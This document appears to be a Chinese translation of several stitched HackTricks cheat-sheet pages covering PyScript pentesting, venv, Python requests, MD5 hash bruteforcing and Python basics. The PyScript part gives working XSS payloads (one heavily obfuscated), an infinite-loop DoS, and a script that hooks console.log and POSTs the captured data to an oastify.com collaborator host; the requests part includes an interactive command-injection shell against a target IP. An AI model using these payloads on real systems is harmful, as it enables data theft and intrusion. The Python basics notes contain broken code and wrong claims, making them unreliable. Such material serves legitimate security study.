* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。

</details>


# Pyscript

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## PyScript渗透测试指南

PyScript是一个新的框架，用于将Python集成到HTML中，以便与HTML一起使用。在这份速查表中，您将了解如何使用PyScript进行渗透测试。

### 从Emscripten虚拟内存文件系统中转储/检索文件：

`CVE ID: CVE-2022-30286`\
\
代码:

```html
<py-script>
with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin:
out = fin.read()
print(out)
</py-script>
```

结果：

![](https://user-images.githubusercontent.com/66295316/166847974-978c4e23-05fa-402f-884a-38d91329bac3.png)

### [Emscripten虚拟内存文件系统的OOB数据泄露（控制台监控）](https://github.com/s/jcd3T19P0M8QRnU1KRDk/~/changes/Wn2j4r8jnHsV8mBiqPk5/blogs/the-art-of-vulnerability-chaining-pyscript)

`CVE ID: CVE-2022-30286`\
\
Code:

```html
<py-script>
x = "CyberGuy"
if x == "CyberGuy":
with open('/lib/python3.10/asyncio/tasks.py') as output:
contents = output.read()
print(contents)
print('<script>console.pylog = console.log; console.logs = []; console.log = function(){     console.logs.push(Array.from(arguments));     console.pylog.apply(console, arguments);fetch("http://9hrr8wowgvdxvlel2gtmqbspigo8cx.oastify.com/", {method: "POST",headers: {"Content-Type": "text/plain;charset=utf-8"},body: JSON.stringify({"content": btoa(console.logs)})});}</script>')
</py-script>
```

结果：

![](https://user-images.githubusercontent.com/66295316/166848198-49f71ccb-73cf-476b-b8f3-139e6371c432.png)

### 跨站脚本（普通）

代码：

```python
<py-script>
print("<img src=x onerror='alert(document.domain)'>")
</py-script>
```

结果：

![](https://user-images.githubusercontent.com/66295316/166848393-e835cf6b-992e-4429-ad66-bc54b98de5cf.png)

### 跨站脚本（Python混淆）

代码：

```python
<py-script>
sur = "\u0027al";fur = "e";rt = "rt"
p = "\x22x$$\x22\x29\u0027\x3E"
s = "\x28";pic = "\x3Cim";pa = "g";so = "sr"
e = "c\u003d";q = "x"
y = "o";m = "ner";z = "ror\u003d"

print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p)
</py-script>
```

结果：

![](https://user-images.githubusercontent.com/66295316/166848370-d981c94a-ee05-42a8-afb8-ccc4fc9f97a0.png)

### 跨站脚本（JavaScript混淆）

代码：

```html
<py-script>
prinht("<script>var _0x3675bf=_0x5cf5;function _0x5cf5(_0xced4e9,_0x1ae724){var _0x599cad=_0x599c();return _0x5cf5=function(_0x5cf5d2,_0x6f919d){_0x5cf5d2=_0x5cf5d2-0x94;var _0x14caa7=_0x599cad[_0x5cf5d2];return _0x14caa7;},_0x5cf5(_0xced4e9,_0x1ae724);}(function(_0x5ad362,_0x98a567){var _0x459bc5=_0x5cf5,_0x454121=_0x5ad362();while(!![]){try{var _0x168170=-parseInt(_0x459bc5(0x9e))/0x1*(parseInt(_0x459bc5(0x95))/0x2)+parseInt(_0x459bc5(0x97))/0x3*(-parseInt(_0x459bc5(0x9c))/0x4)+-parseInt(_0x459bc5(0x99))/0x5+-parseInt(_0x459bc5(0x9f))/0x6*(parseInt(_0x459bc5(0x9d))/0x7)+-parseInt(_0x459bc5(0x9b))/0x8*(-parseInt(_0x459bc5(0x9a))/0x9)+-parseInt(_0x459bc5(0x94))/0xa+parseInt(_0x459bc5(0x98))/0xb*(parseInt(_0x459bc5(0x96))/0xc);if(_0x168170===_0x98a567)break;else _0x454121['push'](_0x454121['shift']());}catch(_0x5baa73){_0x454121['push'](_0x454121['shift']());}}}(_0x599c,0x28895),prompt(document[_0x3675bf(0xa0)]));function _0x599c(){var _0x34a15f=['15170376Sgmhnu','589203pPKatg','11BaafMZ','445905MAsUXq','432bhVZQo','14792bfmdlY','4FKyEje','92890jvCozd','36031bizdfX','114QrRNWp','domain','3249220MUVofX','18cpppdr'];_0x599c=function(){return _0x34a15f;};return _0x599c();}</script>")
</py-script>
```

结果：

![](https://user-images.githubusercontent.com/66295316/166848442-2aece7aa-47b5-4ee7-8d1d-0bf981ba57b8.png)

### DoS 攻击（无限循环）

代码：

```html
<py-script>
while True:
print("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;")
</py-script>
```

结果：

![](https://user-images.githubusercontent.com/66295316/166848534-3e76b233-a95d-4cab-bb2c-42dbd764fefa.png)

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# venv

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-b98c9fbbc98929f4f21cab6c8d6d02d3844d23bd%2Fimage%20(3)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks)轻松构建和**自动化工作流程**，利用世界上**最先进**的社区工具。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

```bash
sudo apt-get install python3-venv
#Now, go to the folder you want to create the virtual environment
python3 -m venv <Dirname>
python3 -m venv pvenv #In this case the folder "pvenv" is going to be created
source <Dirname>/bin/activate
source pvenv/bin/activate #Activate the environment
#You can now install whatever python library you need
deactivate #To deactivate the virtual environment
```

```bash
The error
error: invalid command 'bdist_wheel'
is fixed running
pip3 install wheel
inside the virtual environment
```

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-b98c9fbbc98929f4f21cab6c8d6d02d3844d23bd%2Fimage%20(3)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks)轻松构建并**自动化**由全球**最先进**的社区工具驱动的工作流程。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# Web Requests

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-b98c9fbbc98929f4f21cab6c8d6d02d3844d23bd%2Fimage%20(3)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks)轻松构建和**自动化工作流程**，使用世界上**最先进**的社区工具。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

## Python请求

```python
import requests

url = "http://example.com:80/some/path.php"
params = {"p1":"value1", "p2":"value2"}
headers = {"User-Agent": "fake User Agent", "Fake header": "True value"}
cookies = {"PHPSESSID": "1234567890abcdef", "FakeCookie123": "456"}
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

#Regular Get requests sending parameters (params)
gr = requests.get(url, params=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True)

code = gr.status_code
ret_headers = gr.headers
body_byte = gr.content
body_text = gr.text
ret_cookies = gr.cookies
is_redirect = gr.is_redirect
is_permanent_redirect = gr.is_permanent_redirect
float_seconds = gr.elapsed.total_seconds() 10.231

#Regular Post requests sending parameters (data)
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

#Json Post requests sending parameters(json)
pr = requests.post(url, json=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

#Post request sending a file(files) and extra values
filedict = {"<FILE_PARAMETER_NAME>" : ("filename.png", open("filename.png", 'rb').read(), "image/png")}
pr = requests.post(url, data={"submit": "submit"}, files=filedict)

#Useful for presenting results in boolean/time based injections
print(f"\rflag: {flag}{char}", end="")




##### Example Functions
target = "http://10.10.10.10:8000"
proxies = {}
s = requests.Session()

def register(username, password):
resp = s.post(target + "/register", data={"username":username, "password":password, "submit": "Register"}, proxies=proxies, verify=0)
return resp

def login(username, password):
resp = s.post(target + "/login", data={"username":username, "password":password, "submit": "Login"}, proxies=proxies, verify=0)
return resp

def get_info(name):
resp = s.post(target + "/projects", data={"name":name, }, proxies=proxies, verify=0)
guid = re.match('<a href="\/info\/([^"]*)">' + name + '</a>', resp.text)[1]
return guid

def upload(guid, filename, data):
resp = s.post(target + "/upload/" + guid, data={"submit": "upload"}, files={"file":(filename, data)}, proxies=proxies, verify=0)
guid = re.match('"' + filename + '": "([^"]*)"', resp.text)[1]
return guid

def json_search(guid, search_string):
resp = s.post(target + "/api/search/" + guid + "/", json={"search":search_string}, headers={"Content-Type": "application/json"}, proxies=proxies, verify=0)
return resp.json()

def get_random_string(guid, path):
return ''.join(random.choice(string.ascii_letters) for i in range(10))
```

## 利用 Python 命令执行远程代码攻击

```python
import requests
import re
from cmd import Cmd

class Terminal(Cmd):
prompt = "Inject => "

def default(self, args):
output = RunCmd(args)
print(output)

def RunCmd(cmd):
data = { 'db': f'lol; echo -n "MYREGEXP"; {cmd}; echo -n "MYREGEXP2"' }
r = requests.post('http://10.10.10.127/select', data=data)
page = r.text
m = re.search('MYREGEXP(.*?)MYREGEXP2', page, re.DOTALL)
if m:
return m.group(1)
else:
return 1


term = Terminal()
term.cmdloop()
```

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-78abb7891633b1e8147b4e743e4f00af375d3cd6%2Fimage%20(3)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) 可轻松构建和**自动化工作流**，利用世界上**最先进**的社区工具。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# Bruteforce hash (few chars)

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

\`\`\`python import hashlib

target = '2f2e2e' #/.. candidate = 0 while True: plaintext = str(candidate) hash = hashlib.md5(plaintext.encode('ascii')).hexdigest() if hash\[-1\*(len(target)):] == target: #End in target print('plaintext:"' + plaintext + '", md5:' + hash) break candidate = candidate + 1

````

```python
#From isHaacK
import hashlib
from multiprocessing import Process, Queue, cpu_count


def loose_comparison(queue, num):
target = '0e'
plaintext = f"a_prefix{str(num)}a_suffix"
hash = hashlib.md5(plaintext.encode('ascii')).hexdigest()

if hash[:len(target)] == target and not any(x in "abcdef" for x in hash[2:]):
print('plaintext: ' + plaintext + ', md5: ' + hash)
queue.put("done") # triggers program exit

def worker(queue, thread_i, threads):
for num in range(thread_i, 100**50, threads):
loose_comparison(queue, num)

def main():
procs = []
queue = Queue()
threads = cpu_count() # 2

for thread_i in range(threads):
proc = Process(target=worker, args=(queue, thread_i, threads ))
proc.daemon = True # kill all subprocess when main process exits.
procs.append(proc)
proc.start()

while queue.empty(): # exits when a subprocess is done
pass
return 0

main()
````

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# Basic Python

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或**关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>

## Python 基础

### 有用信息

list(xrange()) == range() --> 在 Python3 中，range 是 Python2 的 xrange（它不是列表而是生成器）\
元组和列表的区别在于元组中值的位置赋予其含义，而列表只是有序值。元组具有结构，而列表具有顺序。

### 主要操作

要求一个数的幂，使用：3\*\*2（不是 3^2）\
如果执行 2/3，会返回 1，因为您在将两个整数（integers）相除。如果要小数，应该除以浮点数（2.0/3.0）。\
i >= j\
i <= j\
i == j\
i != j\
a and b\
a or b\
not a\
float(a)\
int(a)\
str(d)\
ord("A") = 65\
chr(65) = 'A'\
hex(100) = '0x64'\
hex(100)\[2:] = '64'\
isinstance(1, int) = True\
"a b".split(" ") = \['a', 'b']\
" ".join(\['a', 'b']) = "a b"\
"abcdef".startswith("ab") = True\
"abcdef".contains("abc") = True\
"abc\n".strip() = "abc"\
"apbc".replace("p","") = "abc"\
dir(str) = 所有可用方法的列表\
help(str) = 类 str 的定义\
"a".upper() = "A"\
"A".lower() = "a"\
"abc".capitalize() = "Abc"\
sum(\[1,2,3]) = 6\
sorted(\[1,43,5,3,21,4])

**连接字符**\
3 \* ’a’ = ‘aaa’\
‘a’ + ‘b’ = ‘ab’\
‘a’ + str(3) = ‘a3’\
\[1,2,3]+\[4,5]=\[1,2,3,4,5]

**列表的部分**\
‘abc’\[0] = ‘a’\
'abc’\[-1] = ‘c’\
'abc’\[1:3] = ‘bc’ 从 \[1] 到 \[2]\
"qwertyuiop"\[:-1] = 'qwertyuio'

**注释**\
\# 单行注释\
"""\
多行注释\
另一个\
"""

**循环**

```
if a:
#somethig
elif b:
#something
else:
#something

while(a):
#comething

for i in range(0,100):
#something from 0 to 99

for letter in "hola":
#something with a letter in "hola"
```

### 元组

t1 = (1, '2', 'three')\
t2 = (5, 6)\
t3 = t1 + t2 = (1, '2', 'three', 5, 6)\
(4,) = 单元素元组\
d = () 空元组\
d += (4,) --> 添加到元组\
无法！ --> t1\[1] == 'New value'\
list(t2) = \[5, 6] --> 从元组转换为列表

### 列表（数组）

d = \[] 空\
a = \[1, 2, 3]\
b = \[4, 5]\
a + b = \[1, 2, 3, 4, 5]\
b.append(6) = \[4, 5, 6]\
tuple(a) = (1, 2, 3) --> 从列表转换为元组

### 字典

d = {} 空\
monthNumbers={1:'Jan', 2: 'feb','feb':2}—> monthNumbers ->{1:'Jan', 2: 'feb','feb':2}\
monthNumbers\[1] = 'Jan'\
monthNumbers\['feb'] = 2\
list(monthNumbers) = \[1, 2, 'feb']\
monthNumbers.values() = \['Jan', 'feb', 2]\
keys = \[k for k in monthNumbers]\
a={'9':9}\
monthNumbers.update(a) = {'9':9, 1:'Jan', 2: 'feb','feb':2}\
mN = monthNumbers.copy() #独立复制\
monthNumbers.get('key',0) #检查键是否存在，如果存在则返回monthNumbers\["key"]的值，否则返回0

### 集合

集合中没有重复项\
myset = set(\['a', 'b']) = {'a', 'b'}\
myset.add('c') = {'a', 'b', 'c'}\
myset.add('a') = {'a', 'b', 'c'} #无重复项\
myset.update(\[1, 2, 3]) = set(\['a', 1, 2, 'b', 'c', 3])\
myset.discard(10) #如果存在，则移除，否则不做任何操作\
myset.remove(10) #如果存在则移除，否则引发异常\
myset2 = set(\[1, 2, 3, 4])\
myset.union(myset2) #myset和myset2的值\
myset.intersection(myset2) #myset和myset2中的值\
myset.difference(myset2) #myset中但不在myset2中的值\
myset.symmetric\_difference(myset2) #不在myset和myset2中的值（两者都不在）\
myset.pop() #获取集合的第一个元素并将其移除\
myset.intersection\_update(myset2) #myset = myset和myset2中的元素\
myset.difference\_update(myset2) #myset = myset中但不在myset2中的元素\
myset.symmetric\_difference\_update(myset2) #myset = 两者都不在的元素

### 类

\_\_It\_\_中的方法将用于排序，以比较此类的对象是否大于其他对象

```python
class Person(name):
def __init__(self,name):
self.name= name
self.lastName = name.split(‘ ‘)[-1]
self.birthday = None
def __It__(self, other):
if self.lastName == other.lastName:
return self.name < other.name
return self.lastName < other.lastName #Return True if the lastname is smaller

def setBirthday(self, month, day. year):
self.birthday = date tame.date(year,month,day)
def getAge(self):
return (date time.date.today() - self.birthday).days


class MITPerson(Person):
nextIdNum = 0	# Attribute of the Class
def __init__(self, name):
Person.__init__(self,name)
self.idNum = MITPerson.nextIdNum  —> Accedemos al atributo de la clase
MITPerson.nextIdNum += 1 #Attribute of the class +1

def __it__(self, other):
return self.idNum < other.idNum
```

### map, zip, filter, lambda, sorted and one-liners

**Map** 的用法类似于：\[f(x) for x in iterable] --> map(tutple,\[a,b]) = \[(1,2,3),(4,5)]\
m = map(lambda x: x % 3 == 0, \[1, 2, 3, 4, 5, 6, 7, 8, 9]) --> \[False, False, True, False, False, True, False, False, True]

**zip** 在 foo 或 bar 较短时停止：

```
for f, b in zip(foo, bar):
print(f, b)
```

**Lambda** 用于定义一个函数\
(lambda x,y: x+y)(5,3) = 8 --> 使用 lambda 作为简单的 **函数**\
**sorted**(range(-5,6), key=lambda x: x\*\* 2) = \[0, -1, 1, -2, 2, -3, 3, -4, 4, -5, 5] --> 使用 lambda 对列表进行排序\
m = **filter**(lambda x: x % 3 == 0, \[1, 2, 3, 4, 5, 6, 7, 8, 9]) = \[3, 6, 9] --> 使用 lambda 进行过滤\
**reduce** (lambda x,y: x\*y, \[1,2,3,4]) = 24

```
def make_adder(n):
return lambda x: x+n
plus3 = make_adder(3)
plus3(4) = 7 # 3 + 4 = 7

class Car:
crash = lambda self: print('Boom!')
my_car = Car(); my_car.crash() = 'Boom!'
```

```python
mult1 = [x for x in [1, 2, 3, 4, 5, 6, 7, 8, 9] if x%3 == 0 ]
```

### 异常

```
def divide(x,y):
try:
result = x/y
except ZeroDivisionError, e:
print “division by zero!” + str(e)
except TypeError:
divide(int(x),int(y))
else:
print “result i”, result
finally
print “executing finally clause in any case”
```

### Assert()

如果条件为假，则会在屏幕上打印字符串

```
def avg(grades, weights):
assert not len(grades) == 0, 'no grades data'
assert len(grades) == 'wrong number grades'
```

### 生成器，yield

生成器不是返回某个东西，而是"产出"某个东西。当你访问它时，它会"返回"生成的第一个值，然后，你可以再次访问它，它将返回生成的下一个值。因此，所有的值不是同时生成的，使用这种方法而不是包含所有值的列表可以节省大量内存。

```
def myGen(n):
yield n
yield n + 1
```

```markdown
g = myGen(6) --> 6\
next(g) --> 7\
next(g) --> Error

### 正则表达式

import re\
re.search("\w","hola").group() = "h"\
re.findall("\w","hola") = \['h', 'o', 'l', 'a']\
re.findall("\w+(la)","hola caracola") = \['la', 'la']

**特殊含义:**\
. --> Everything\
\w --> \[a-zA-Z0-9\_]\
\d --> Number\
\s --> WhiteSpace char\[ \n\r\t\f]\
\S --> Non-whitespace char\
^ --> Starts with\
$ --> Ends with\
\+ --> One or more\
\* --> 0 or more\
? --> 0 or 1 occurrences

**选项:**\
re.search(pat,str,re.IGNORECASE)\
IGNORECASE\
DOTALL --> Allow dot to match newline\
MULTILINE --> Allow ^ and $ to match in different lines

re.findall("<.\*>", "\<b>foo\</b>and\<i>so on\</i>") = \['\<b>foo\</b>and\<i>so on\</i>']\
re.findall("<.\*?>", "\<b>foo\</b>and\<i>so on\</i>") = \['\<b>', '\</b>', '\<i>', '\</i>']

IterTools\
**product**\
from **itertools** import product --> Generates combinations between 1 or more lists, perhaps repeating values, cartesian product (distributive property)\
print list(**product**(\[1,2,3],\[3,4])) = \[(1, 3), (1, 4), (2, 3), (2, 4), (3, 3), (3, 4)]\
print list(**product**(\[1,2,3],repeat = 2)) = \[(1, 1), (1, 2), (1, 3), (2, 1), (2, 2), (2, 3), (3, 1), (3, 2), (3, 3)]

**permutations**\
from **itertools** import **permutations** --> Generates combinations of all characters in every position\
print list(permutations(\['1','2','3'])) = \[('1', '2', '3'), ('1', '3', '2'), ('2', '1', '3'),... Every posible combination\
print(list(permutations('123',2))) = \[('1', '2'), ('1', '3'), ('2', '1'), ('2', '3'), ('3', '1'), ('3', '2')] Every possible combination of length 2

**combinations**\
from itertools import **combinations** --> Generates all possible combinations without repeating characters (if "ab" existing, doesn't generate "ba")\
print(list(**combinations**('123',2))) --> \[('1', '2'), ('1', '3'), ('2', '3')]

**combinations\_with\_replacement**\
from itertools import **combinations\_with\_replacement** --> Generates all possible combinations from the char onwards(for example, the 3rd is mixed from the 3rd onwards but not with the 2nd o first)\
print(list(**combinations\_with\_replacement**('1133',2))) = \[('1', '1'), ('1', '1'), ('1', '3'), ('1', '3'), ('1', '1'), ('1', '3'), ('1', '3'), ('3', '3'), ('3', '3'), ('3', '3')]

### 装饰器

Decorator that size the time that a function needs to be executed (from [here](https://towardsdatascience.com/decorating-functions-in-python-619cbbe82c74)):
```

```python
from functools import wraps
import time
def timeme(func):
@wraps(func)
def wrapper(*args, **kwargs):
print("Let's call our decorated function")
start = time.time()
result = func(*args, **kwargs)
print('Execution time: {} seconds'.format(time.time() - start))
return result
return wrapper

@timeme
def decorated_func():
print("Decorated func!")
```

如果你运行它，你会看到类似以下内容：

```
Let's call our decorated function
Decorated func!
Execution time: 4.792213439941406e-05 seconds
```

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

其他支持HackTricks的方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
